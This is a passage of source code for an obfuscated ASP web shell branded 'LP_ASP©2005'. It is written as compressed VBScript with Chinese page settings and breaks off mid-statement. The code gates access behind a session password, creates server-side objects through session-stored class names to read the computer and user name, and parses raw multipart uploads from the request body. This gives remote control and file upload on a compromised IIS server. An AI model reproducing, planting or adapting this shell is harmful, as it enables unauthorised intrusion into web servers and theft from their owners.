|
<%@codepage=936%><%Response.Expires=0 on error resume next sub eg:Response.end:end sub sub ek(k):response.redirect k:end sub function ee(g):response.write g:end function function ej(j):ej=server.mappath(j):end function Co=Request.ServerVariables("URL") zc="<b>LP_ASP©2005" if session(zc)=5 then ee"<style>body{font-size:9pt;color:blue}table{font-family:宋体;font-size:9pt}a{font-family:宋体;font-size:9pt;color:blue;text-decoration:none}a:hover{font-family:宋体;color:red}input{BORDER-RIGHT:blue 1px solid;BORDER-TOP:blue 1px solid;BACKGROUND:white;BORDER-LEFT:blue 1px solid;BORDER-BOTTOM:blue 1px solid;FONT-FAMILY:Verdana,Arial FONT-COLOR:blue;FONT-SIZE:9pt;}</style>" Session.TimeOut=50 Server.ScriptTimeout=3000 set lP=Server.CreateObject(session("lP")) set tN=Server.CreateObject(session("tN")) set sa=Server.Createobject(session("sa")) set TV=Server.Createobject(session("TV")) dN="\\"&tN.ComputerName&"\"&tN.UserName Rx=Request("pw") if request("p")then%><SCRIPT RUNAT=SERVER LANGUAGE=VBS>dim zh CLASS ZB dim isForm,isFile Public function Form(sg) Form=isForm(lcase(sg)) if not isForm.exists(sg)then Form="" end function Public function File(sj) File=isFile(lcase(sj)) if not isFile.exists(sj)then File=new ZI end function Private Sub Class_Initialize dim Rq,sSt,vbCrlf,sx,oE,itt,FE,sFV,sFe,fj,iFE,iFS,iFd,sFN zz=session("lP") Sy=session("SY") set isForm=CreateObject(Sy) set isFile=CreateObject(Sy) set tZ=CreateObject(zz) set zh=CreateObject(zz) zh.Type=1 zh.Mode=3 zh.Open zh.Write Request.BinaryRead(Request.TotalBytes) zh.Position=0 Rq=zh.Read iFS=1 iFd=LenB(Rq) vbCrlf=chrB(13)&chrB(10) sSt=MidB(Rq,1,InStrB(iFS,Rq,vbCrlf)-1) itt=LenB(sSt) iFS=iFS+itt+1 while (iFS+10)<iFd oE=InStrB(iFS,Rq,vbCrlf&vbCrlf)+3 tZ.Type=1 tZ.Mode=3 tZ.Open zh.Position=iFS zh.CopyTo tZ,oE-iFS tZ.Position=0 tZ.Type=2 tZ.Charset="gb2312" sx=tZ.ReadText tZ.Close iFS=InStrB(oE,Rq,sSt) fj=InStr(22,sx,"name=""",1)+6 iFE=InStr(fj,sx,"""",1) sFN=lcase |